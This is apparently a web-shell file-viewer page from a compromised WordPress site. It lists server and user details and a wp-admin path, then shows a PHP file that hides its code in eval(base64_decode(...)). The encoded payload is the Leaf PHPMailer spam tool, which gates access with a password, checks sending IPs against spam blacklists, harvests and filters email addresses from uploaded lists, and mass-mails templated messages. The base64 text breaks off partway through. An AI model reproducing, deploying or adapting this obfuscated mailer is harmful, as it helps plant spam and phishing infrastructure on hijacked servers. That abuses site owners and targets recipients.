|
Server : LiteSpeed System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : dewac4139 ( 1077) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /proc/712700/root/home/pepaya999.com/public_html/wp-admin/ |
Upload File : |
<?php
eval(base64_decode("c2Vzc2lvbl9zdGFydCgpOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCJtZW1vcnlfbGltaXQiLC0xKTsNCg0KJGxlYWZbJ3ZlcnNpb24nXT0iMi44IjsNCiRsZWFmWyd3ZWJzaXRlJ109ImxlYWZtYWlsZXIucHciOw0KDQoNCiRzZXNzaW9uY29kZSA9IG1kNShfX0ZJTEVfXyk7DQppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsNCiAgICBpZiAoaXNzZXQoJF9SRVFVRVNUWydwYXNzJ10pIGFuZCAkX1JFUVVFU1RbJ3Bhc3MnXSA9PSAkcGFzc3dvcmQpIHsNCiAgICAgICAgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gPSAkcGFzc3dvcmQ7DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgICBwcmludCAiPHByZSBhbGlnbj1jZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSdwYXNzd29yZCcgbmFtZT0ncGFzcyc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9wcmU+IjsNCiAgICAgICAgZXhpdDsgICAgICAgIA0KICAgIH0NCn0NCg0Kc2Vzc2lvbl93cml0ZV9jbG9zZSgpOw0KDQoNCmZ1bmN0aW9uIGxlYWZDbGVhcigkdGV4dCwkZW1haWwpew0KCSRlID0gZXhwbG9kZSgnQCcsICRlbWFpbCk7DQoJJGVtYWlsdXNlcj0kZVswXTsNCgkkZW1haWxkb21haW49JGVbMV07DQogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy10aW1lLV0iLCBkYXRlKCJtL2QvWSBoOmk6cyBhIiwgdGltZSgpKSwgJHRleHQpOw0KICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWwtXSIsICRlbWFpbCwgJHRleHQpOw0KICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstZW1haWx1c2VyLV0iLCAkZW1haWx1c2VyLCAkdGV4dCk7DQogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1lbWFpbGRvbWFpbi1dIiwgJGVtYWlsZG9tYWluLCAkdGV4dCk7DQogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21sZXR0ZXJzLV0iLCByYW5kU3RyaW5nKCdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eicpLCAkdGV4dCk7DQogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21zdHJpbmctXSIsIHJhbmRTdHJpbmcoJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OScpLCAkdGV4dCk7DQogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1yYW5kb21udW1iZXItXSIsIHJhbmRTdHJpbmcoJzAxMjM0NTY3ODknKSwgJHRleHQpOw0KICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlstcmFuZG9tbWQ1LV0iLCBtZDUocmFuZFN0cmluZygnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5JykpLCAkdGV4dCk7DQogICAgcmV0dXJuICR0ZXh0OyAgDQp9DQpmdW5jdGlvbiBsZWFmVHJpbSgkc3RyaW5nKXsNCgkkc3RyaW5nPXVybGRlY29kZSgkc3RyaW5nKTsNCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKHRyaW0oJHN0cmluZykpOw0KfQ0KZnVuY3Rpb24gcmFuZFN0cmluZygkY29uc29uYW50cykgew0KICAgICRsZW5ndGg9cmFuZCgxMiwyNSk7DQogICAgJHBhc3N3b3JkID0gJyc7DQogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgew0KICAgICAgICAgICAgJHBhc3N3b3JkIC49ICRjb25zb25hbnRzWyhyYW5kKCkgJSBzdHJsZW4oJGNvbnNvbmFudHMpKV07DQogICAgfQ0KICAgIHJldHVybiAkcGFzc3dvcmQ7DQp9DQpmdW5jdGlvbiBsZWFmTWFpbENoZWNrKCRlbWFpbCl7DQogICAgaWYgKGZpbHRlcl92YXIoJGVtYWlsLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpKSByZXR1cm4gdHJ1ZTsNCiAgICBlbHNlIHJldHVybiBmYWxzZTsNCn0NCiMgQnVsaXQtaW4gQmxhY2tMaXN0IENoZWNrZXIgDQppZihpc3NldCgkX0dFVFsnY2hlY2tfaXAnXSkpew0KICAgIGlmIChpc3NldCgkX0dFVFsnaG9zdCddKSl7DQogICAgICAgICRfR0VUWydob3N0J109ZXhwbG9kZSgiLCIsICRfR0VUWydob3N0J10pOw0KICAgICAgICBmb3JlYWNoICgkX0dFVFsnaG9zdCddIGFzICRob3N0KSB7DQogICAgICAgICAgICBpZiAoY2hlY2tkbnNycigkX0dFVFsnY2hlY2tfaXAnXSAuICIuIiAuICAkaG9zdCAuICIuIiwgIkEiKSkgJGNoZWNrPSAiPGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOw0KICAgICAgICAgICAgZWxzZSAkY2hlY2s9ICI8Zm9udCBjb2xvcj0nZ3JlZW4nPiBDbGVhbjwvZm9udD4iOw0KICAgICAgICAgICAgcHJpbnQgJ2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCInLiAkaG9zdC4nIikuaW5uZXJIVE1MID0gIicuJGNoZWNrLiciOyc7DQogICAgICAgIH0NCg0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICAkZG5zYmxfbG9va3VwID0gYXJyYXkoDQogICAgICAgICJhbGwuczVoLm5ldCIsDQogICAgICAgICJiLmJhcnJhY3VkYWNlbnRyYWwub3JnIiwNCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwNCiAgICAgICAgImJsYWNrbGlzdC53b29keS5jaCIsDQogICAgICAgICJib2dvbnMuY3ltcnUuY29tIiwNCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsDQogICAgICAgICJjZGwuYW50aS1zcGFtLm9yZy5jbiIsDQogICAgICAgICJjb21iaW5lZC5hYnVzZS5jaCIsDQogICAgICAgICJkYi53cGJsLmluZm8iLA0KICAgICAgICAiZG5zYmwtMS51Y2Vwcm90ZWN0Lm5ldCIsDQogICAgICAgICJkbnNibC0yLnVjZXByb3RlY3QubmV0IiwNCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLA0KICAgICAgICAiZG5zYmwuYW50aWNhcHRjaGEubmV0IiwNCiAgICAgICAgImRuc2JsLmRyb25lYmwub3JnIiwNCiAgICAgICAgImRuc2JsLmlucHMuZGUiLA0KICAgICAgICAiZG5zYmwuc29yYnMubmV0IiwNCiAgICAgICAgImRyb25lLmFidXNlLmNoIiwNCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLA0KICAgICAgICAiZHVsLmRuc2JsLnNvcmJzLm5ldCIsDQogICAgICAgICJkeW5hLnNwYW1yYXRzLmNvbSIsDQogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwNCiAgICAgICAgImh0dHAuZG5zYmwuc29yYnMubmV0IiwNCiAgICAgICAgImlwcy5iYWNrc2NhdHRlcmVyLm9yZyIsDQogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwNCiAgICAgICAgImtvcmVhLnNlcnZpY2VzLm5ldCIsDQogICAgICAgICJtaXNjLmRuc2JsLnNvcmJzLm5ldCIsDQogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLA0KICAgICAgICAib3J2ZWRiLmF1cGFkcy5vcmciLA0KICAgICAgICAicGJsLnNwYW1oYXVzLm9yZyIsDQogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsDQogICAgICAgICJwc2JsLnN1cnJpZWwuY29tIiwNCiAgICAgICAgInJlbGF5cy5ibC5nd2VlcC5jYSIsDQogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsDQogICAgICAgICJzYmwuc3BhbWhhdXMub3JnIiwNCiAgICAgICAgInNob3J0LnJibC5qcCIsDQogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwNCiAgICAgICAgInNtdHAuZG5zYmwuc29yYnMubmV0IiwNCiAgICAgICAgInNvY2tzLmRuc2JsLnNvcmJzLm5ldCIsDQogICAgICAgICJzcGFtLmFidXNlLmNoIiwNCiAgICAgICAgInNwYW0uZG5zYmwuYW5vbm1haWxzLmRlIiwNCiAgICAgICAgInNwYW0uZG5zYmwuc29yYnMubmV0IiwNCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwNCiAgICAgICAgInNwYW1ib3QuYmxzLmRpZ2liYXNlLmNhIiwNCiAgICAgICAgInNwYW1yYmwuaW1wLmNoIiwNCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwNCiAgICAgICAgInVibC5sYXNoYmFjay5jb20iLA0KICAgICAgICAidWJsLnVuc3Vic2NvcmUuY29tIiwNCiAgICAgICAgInZpcnVzLnJibC5qcCIsDQogICAgICAgICJ3ZWIuZG5zYmwuc29yYnMubmV0IiwNCiAgICAgICAgIndvcm1yYmwuaW1wLmNoIiwNCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLA0KICAgICAgICAiei5tYWlsc3Bpa2UubmV0IiwNCiAgICAgICAgInplbi5zcGFtaGF1cy5vcmciLA0KICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsDQogICAgKTsNCiAgICAkcmV2ZXJzZV9pcCA9IGltcGxvZGUoIi4iLCBhcnJheV9yZXZlcnNlKGV4cGxvZGUoIi4iLCAkX0dFVFsnY2hlY2tfaXAnXSkpKTsNCiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOw0KICAgIGxlYWZoZWFkZXIoKTsNCiAgICBwcmludCAnPGRpdiBjbGFzcz0iY29udGFpbmVyIGNvbC1sZy02Ij48aDM+PGZvbnQgY29sb3I9ImdyZWVuIj48c3BhbiBjbGFzcz0iZ2x5cGhpY29uIGdseXBoaWNvbi1sZWFmIj48L3NwYW4+PC9mb250PiBMZWFmIFBIUE1haWxlciA8c21hbGw+QmxhY2tsaXN0IENoZWNrZXI8L3NtYWxsPjwvaDM+JzsNCiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7DQogICAgJGRuc049IiI7DQogICAgcHJpbnQgJzx0YWJsZSA+JzsNCiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IA0KICAgICAgICAkaG9zdD0iIjsNCiAgICAgICAgJGhvc3RzPSIiOw0KICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspew0KICAgICAgICAgICAgJGhvc3Q9JGRuc2JsX2xvb2t1cFskal07DQogICAgICAgICAgICBpZighZW1wdHkoJGhvc3QpKXsNCiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgICAgICRob3N0cyAuPSIkaG9zdCwiOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRkbnNOLj0iPHNjcmlwdCBzcmM9Jz9jaGVja19pcD0kcmV2ZXJzZV9pcCZob3N0PSIuJGhvc3RzLiInIHR5cGU9J3RleHQvamF2YXNjcmlwdCc+PC9zY3JpcHQ+IjsNCiAgICB9DQoNCiAgICBwcmludCAnPC90YWJsZT48L2Rpdj4nOw0KICAgIHByaW50ICRkbnNOOw0KICAgIGV4aXQ7DQp9DQppZihpc3NldCgkX0dFVFsnZW1haWxmaWx0ZXInXSkpew0KDQogICAgaWYoIWVtcHR5KCRfRklMRVNbJ2ZpbGVUb1VwbG9hZCddWyd0bXBfbmFtZSddKSl7DQogICAgICAgICRfUE9TVFsnZW1haWxMaXN0J109IGZpbGVfZ2V0X2NvbnRlbnRzKCRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJ0bXBfbmFtZSJdKTsgDQogICAgfQ0KICAgICRfUE9TVFsnZW1haWxMaXN0J109c3RydG9sb3dlcigkX1BPU1RbJ2VtYWlsTGlzdCddKTsNCiAgIGlmKCRfR0VUWydlbWFpbGZpbHRlciddPT0iaWZyYW0iKXsNCiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpew0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyIik7IA0KICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOyANCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgIH0NCiAgICBpZigkX1BPU1RbJ3N1Ym1pdCddPT0iZXh0cmFjdCIpew0KICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsNCiAgICAgICAgcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sICRfUE9TVFsnZW1haWxMaXN0J10sICRtYXRjaGVzKTsNCiAgICAgICAgZm9yZWFjaCAoJG1hdGNoZXNbMF0gYXMgJGVtYWlsKSB7DQogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7DQogICAgICAgICRlbWFpbHM9ZXhwbG9kZSgiXG4iLCAkX1BPU1RbJ2VtYWlsTGlzdCddKTsNCiAgICAgICAgJGtleXdvcmRzPWV4cGxvZGUoIlxuIiwgc3RydG9sb3dlcigkX1BPU1RbJ2tleXdvcmRzJ10pKTsNCiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRrZXl3b3JkcyBhcyAka2V5d29yZCApIHsNCiAgICAgICAgICAgICAgICBpZihzdHJzdHIoJGVtYWlsLCAka2V5d29yZCkgKXsNCiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgfQ0KICAgIGV4aXQ7DQogICB9DQogICBsZWFmaGVhZGVyKCk7DQogICBwcmludCAnPGRpdiBjbGFzcz0iY29udGFpbmVyIGNvbC1sZy00Ij48aDM+PGZvbnQgY29sb3I9ImdyZWVuIj48c3BhbiBjbGFzcz0iZ2x5cGhpY29uIGdseXBoaWNvbi1sZWFmIj48L3NwYW4+PC9mb250PiBMZWFmIFBIUE1haWxlciA8c21hbGw+RW1haWwgRmlsdGVyPC9zbWFsbD48L2gzPic7DQogICBwcmludCAnDQogICAgPGZvcm0gYWN0aW9uPSI/ZW1haWxmaWx0ZXI9aWZyYW0iIG1ldGhvZD0iUE9TVCIgdGFyZ2V0PSJteS1pZnJhbWUiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG9uc3VibWl0PVwnXCc+DQogICAgICAgIDxsYWJlbCBmb3I9ImVtYWlsTGlzdCI+VGV4dCA8L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPiANCiAgICAgICAgb3INCg0KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iZW1haWxMaXN0IiBpZD0iZW1haWxMaXN0IiBjbGFzcz0iZm9ybS1jb250cm9sIiByb3dzPSI3IiBpZD0idGV4dEFyZWEiPjwvdGV4dGFyZWE+DQogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPg0KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+DQogICAgICAgICAgPGxhYmVsPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+DQogICAgICAgICAgICBTaG93IFJlc3VsdCBpbiB0aGlzIHBhZ2UNCiAgICAgICAgICA8L2xhYmVsPg0KICAgICAgICA8L2Rpdj4NCiAgICAgICAgPGRpdiBjbGFzcz0icmFkaW8iPg0KICAgICAgICAgIDxsYWJlbD4NCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+DQogICAgICAgICAgICBEb3dubG9hZCBSZXN1bHQgKGZvciBiaWcgbnVtYmVycykNCiAgICAgICAgICA8L2xhYmVsPg0KICAgICAgICA8L2Rpdj4NCiAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RXh0cmFjdCBFbWFpbDwvaDQ+PC9sZWdlbmQ+DQogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPg0KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iZXh0cmFjdCIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+DQogICAgICAgICAgICA8bGVnZW5kPjxoND5GaWx0ZXIgRW1haWxzPC9oND48L2xlZ2VuZD4NCiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20NCmhvdG1haWwuY29tDQp5YWhvby5jb20NCi5jby51azwvdGV4dGFyZWE+PGJyPg0KDQogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iZmlsdGVyIiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4NCiAgICA8L2Zvcm0+DQogICAgPGxhYmVsID5SZXN1bHQgPC9sYWJlbD4NCiAgICA8aWZyYW1lIHN0eWxlPSJib3JkZXI6bm9uZTt3aWR0aDoxMDAlOyIgbmFtZT0ibXktaWZyYW1lIiAgc3JjPSI/ZW1haWxmaWx0ZXI9aWZyYW0iID48L2lmcmFtZT4NCiAgICc7DQogICBleGl0Ow0KDQp9DQokaHRtbD0iY2hlY2tlZCI7DQokdXRmOD0ic2VsZWN0ZWQiOw0KJGJpdDg9InNlbGVjdGVkIjsNCg0KaWYoJF9QT1NUWydhY3Rpb24nXT09InNlbmQiIG9yICRfUE9TVFsnYWN0aW9uJ109PSJzY29yZSIpew0KDQogICAgJHNlbmRlckVtYWlsPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyRW1haWwnXSk7DQogICAgJHNlbmRlck5hbWU9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJOYW1lJ10pOw0KICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsNCiAgICAkc3ViamVjdD1sZWFmVHJpbSgkX1BPU1RbJ3N1YmplY3QnXSk7DQogICAgJGVtYWlsTGlzdD1sZWFmVHJpbSgkX1BPU1RbJ2VtYWlsTGlzdCddKTsNCiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsNCiAgICAkbWVzc2FnZUxldHRlcj1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7DQogICAgJGVuY29kaW5nID0gJF9QT1NUWydlbmNvZGUnXTsNCiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOw0KICAgICRodG1sPSIiOw0KICAgICR1dGY4PSIiOw0KICAgICRiaXQ4PSIiOw0KDQogICAgaWYoJG1lc3NhZ2VUeXBlPT0yKSAkcGxhaW49ImNoZWNrZWQiOw0KICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOw0KDQogICAgaWYoJGNoYXJzZXQ9PSJJU08tODg1OS0xIikgJGlzbz0ic2VsZWN0ZWQiOw0KICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsNCg0KICAgIGlmKCRlbmNvZGluZz09IjdiaXQiKSAkYml0Nz0ic2VsZWN0ZWQiOw0KICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7DQogICAgZWxzZWlmKCRlbmNvZGluZz09ImJhc2U2NCIpICRiYXNlNjQ9InNlbGVjdGVkIjsNCiAgICBlbHNlaWYoJGVuY29kaW5nPT0icXVvdGVkLXByaW50YWJsZSIpICRxdW90ZWRwcmludGFibGU9InNlbGVjdGVkIjsNCiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7DQoNCg0KDQp9DQppZigkX1BPU1RbJ2FjdGlvbiddPT0idmlldyIpew0KCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7DQoJJHZpZXdNZXNzYWdlPWxlYWZDbGVhcigkdmlld01lc3NhZ2UsInVzZXJAZG9tYWluLmNvbSIpOw0KCWlmICgkX1BPU1RbJ21lc3NhZ2VUeXBlJ109PTIpew0KCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsNCgl9DQoJZWxzZSB7DQoJCXByaW50ICR2aWV3TWVzc2FnZTsNCgl9DQoJZXhpdDsNCn0NCg0KDQoNCmlmKCFpc3NldCgkX1BPU1RbJ3NlbmRlckVtYWlsJ10pKXsNCiAgICAkc2VuZGVyRW1haWw9InN1cHBvcnRAIi5zdHJfcmVwbGFjZSgid3d3LiIsICIiLCAkX1NFUlZFUlsnSFRUUF9IT1NUJ10pOw0KICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7DQp9DQoNCmNsYXNzIFBIUE1haWxlcg0Kew0KICAgIC8qKg0KICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsNCg0KICAgIC8qKg0KICAgICAqIEVtYWlsIHByaW9yaXR5Lg0KICAgICAqIE9wdGlvbnM6IG51bGwgKGRlZmF1bHQpLCAxID0gSGlnaCwgMyA9IE5vcm1hbCwgNSA9IGxvdy4NCiAgICAgKiBXaGVuIG51bGwsIHRoZSBoZWFkZXIgaXMgbm90IHNldCBhdCBhbGwuDQogICAgICogQHZhciBpbnRlZ2VyDQogICAgICovDQogICAgcHVibGljICRQcmlvcml0eSA9IG51bGw7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgY2hhcmFjdGVyIHNldCBvZiB0aGUgbWVzc2FnZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkQ2hhclNldCA9ICdpc28tODg1OS0xJzsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBNSU1FIENvbnRlbnQtdHlwZSBvZiB0aGUgbWVzc2FnZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkQ29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgbWVzc2FnZSBlbmNvZGluZy4NCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsNCg0KICAgIC8qKg0KICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLg0KICAgICAqIEB2YXIgc3RyaW5nDQogICAgICovDQogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOw0KDQogICAgLyoqDQogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLg0KICAgICAqIElmIG5vdCBlbXB0eSwgd2lsbCBiZSBzZW50IHZpYSAtZiB0byBzZW5kbWFpbCBvciBhcyAnTUFJTCBGUk9NJyBpbiBzbXRwIG1vZGUuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJFNlbmRlciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGhlIFJldHVybi1QYXRoIG9mIHRoZSBtZXNzYWdlLg0KICAgICAqIElmIGVtcHR5LCBpdCB3aWxsIGJlIHNldCB0byBlaXRoZXIgRnJvbSBvciBTZW5kZXIuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKiBAZGVwcmVjYXRlZCBFbWFpbCBzZW5kZXJzIHNob3VsZCBuZXZlciBzZXQgYSByZXR1cm4tcGF0aCBoZWFkZXI7DQogICAgICogaXQncyB0aGUgcmVjZWl2ZXIncyBqb2IgKFJGQzUzMjEgc2VjdGlvbiA0LjQpLCBzbyB0aGlzIG5vIGxvbmdlciBkb2VzIGFueXRoaW5nLg0KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlDQogICAgICovDQogICAgcHVibGljICRSZXR1cm5QYXRoID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaGUgU3ViamVjdCBvZiB0aGUgbWVzc2FnZS4NCiAgICAgKiBAdmFyIHN0cmluZw0KICAgICAqLw0KICAgIHB1YmxpYyAkU3ViamVjdCA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSFRNTCBvciBwbGFpbiB0ZXh0IG1lc3NhZ2UgYm9keS4NCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4NCiAgICAgKiBUaGlzIGJvZHkgY2FuIGJlIHJlYWQgYnkgbWFpbCBjbGllbnRzIHRoYXQgZG8gbm90IGhhdmUgSFRNTCBlbWFpbA0KICAgICAqIGNhcGFiaWxpdHkgc3VjaCBhcyBtdXR0ICYgRXVkb3JhLg0KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuDQogICAgICogQHZhciBzdHJpbmcNCiAgICAgKi8NCiAgICBwdWJsaWMgJEFsdEJvZHkgPSA